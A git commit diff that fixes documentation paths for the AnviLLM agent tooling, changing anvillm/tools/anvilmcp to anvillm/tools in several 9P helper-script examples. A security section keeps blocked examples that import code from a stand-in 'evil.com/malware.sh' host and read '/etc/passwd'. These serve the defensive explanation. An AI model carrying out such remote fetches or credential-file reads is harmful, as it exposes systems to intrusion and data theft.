Fix docs: tools path is anvillm/tools, not anvillm/tools/anvilmcp
This commit is contained in:
parent
c5b96bcac1
commit
4cf346934d
|
|
@ -351,7 +351,7 @@ Conductor analyzes dependencies, spawns specialized bots, and delegates work in
|
||||||
**Tool:** `execute_code` — the only tool needed. Executes bash scripts in an isolated subprocess (sandboxed via landrun). Agents discover and invoke all AnviLLM functionality through 9P and helper scripts:
|
**Tool:** `execute_code` — the only tool needed. Executes bash scripts in an isolated subprocess (sandboxed via landrun). Agents discover and invoke all AnviLLM functionality through 9P and helper scripts:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
9p read anvillm/tools/anvilmcp/check_inbox.sh # discover scripts
|
9p read anvillm/tools/check_inbox.sh # discover scripts
|
||||||
bash <(9p read tools/send_message.sh) ... # invoke them
|
bash <(9p read tools/send_message.sh) ... # invoke them
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -9,13 +9,13 @@
|
||||||
Discover available helper scripts on-demand via 9P:
|
Discover available helper scripts on-demand via 9P:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
9p ls anvillm/tools/anvilmcp/
|
9p ls anvillm/tools/
|
||||||
```
|
```
|
||||||
|
|
||||||
Read and invoke a specific script:
|
Read and invoke a specific script:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
bash <(9p read anvillm/tools/check_inbox.sh) <agent-id>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
@ -23,7 +23,7 @@ bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
||||||
### Messaging
|
### Messaging
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(9p read anvillm/tools/anvilmcp/send_message.sh) \
|
bash <(9p read anvillm/tools/send_message.sh) \
|
||||||
--to user --type PROMPT_RESPONSE --subject "Done" --body "Task complete"
|
--to user --type PROMPT_RESPONSE --subject "Done" --body "Task complete"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -295,7 +295,7 @@ import { malicious } from "https://evil.com/malware.sh";
|
||||||
3. **Local Imports Only**: Only import from workspace
|
3. **Local Imports Only**: Only import from workspace
|
||||||
```bash
|
```bash
|
||||||
// Allowed
|
// Allowed
|
||||||
# Call tools from anvillm/tools/anvilmcp/check_inbox.sh";
|
# Call tools from anvillm/tools/check_inbox.sh";
|
||||||
|
|
||||||
// Blocked (outside workspace)
|
// Blocked (outside workspace)
|
||||||
import { evil } from "/etc/passwd";
|
import { evil } from "/etc/passwd";
|
||||||
|
|
|
||||||
|
|
@ -9,19 +9,19 @@
|
||||||
List available helper scripts:
|
List available helper scripts:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
9p ls anvillm/tools/anvilmcp/
|
9p ls anvillm/tools/
|
||||||
```
|
```
|
||||||
|
|
||||||
Read a script to see its usage:
|
Read a script to see its usage:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
9p read anvillm/tools/anvilmcp/check_inbox.sh
|
9p read anvillm/tools/check_inbox.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
Invoke a script:
|
Invoke a script:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
bash <(9p read anvillm/tools/check_inbox.sh) <agent-id>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Common Patterns
|
## Common Patterns
|
||||||
|
|
@ -30,10 +30,10 @@ bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) <agent-id>
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check inbox
|
# Check inbox
|
||||||
bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) "$AGENT_ID"
|
bash <(9p read anvillm/tools/check_inbox.sh) "$AGENT_ID"
|
||||||
|
|
||||||
# Send message
|
# Send message
|
||||||
bash <(9p read anvillm/tools/anvilmcp/send_message.sh) \
|
bash <(9p read anvillm/tools/send_message.sh) \
|
||||||
--to user --type PROMPT_RESPONSE --subject "Done" --body "Complete"
|
--to user --type PROMPT_RESPONSE --subject "Done" --body "Complete"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
||||||
Reference in New Issue